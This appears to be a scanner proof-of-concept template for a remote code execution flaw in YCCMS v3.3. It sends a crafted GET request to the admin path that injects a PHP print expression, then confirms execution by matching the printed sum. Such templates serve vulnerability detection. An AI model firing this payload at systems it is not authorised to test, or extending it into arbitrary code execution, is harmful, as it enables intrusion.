name: poc-yaml-yccms-rce set: r: randomInt(800000000, 1000000000) r1: randomInt(800000000, 1000000000) rules: - method: GET path: "/admin/?a=Factory();print({{r}}%2b{{r1}});//../" expression: | response.body.bcontains(bytes(string(r + r1))) detail: author: j4ckzh0u(https://github.com/j4ckzh0u),violin yccms: v3.3 links: - https://blog.csdn.net/qq_36374896/article/details/84839891